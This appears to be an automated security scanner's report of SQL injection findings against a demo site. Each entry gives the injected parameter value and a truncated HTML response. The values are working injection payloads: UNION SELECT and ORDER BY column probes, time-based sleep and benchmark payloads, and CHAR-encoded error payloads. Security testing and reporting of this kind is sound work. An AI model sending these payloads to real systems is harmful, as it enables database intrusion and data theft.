BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1546
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language
="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet
" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-
aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-
- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSB
JbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgA
QIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1547
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1548
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1549
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1550
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1551
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1552
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1553
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName ValueDemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
4
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1554
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# waitfor delay '00:00:05'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1555
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' GROUP BY columnnames having 1=
1 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1556
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# @variable
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1557
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1558
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1559
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1560
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
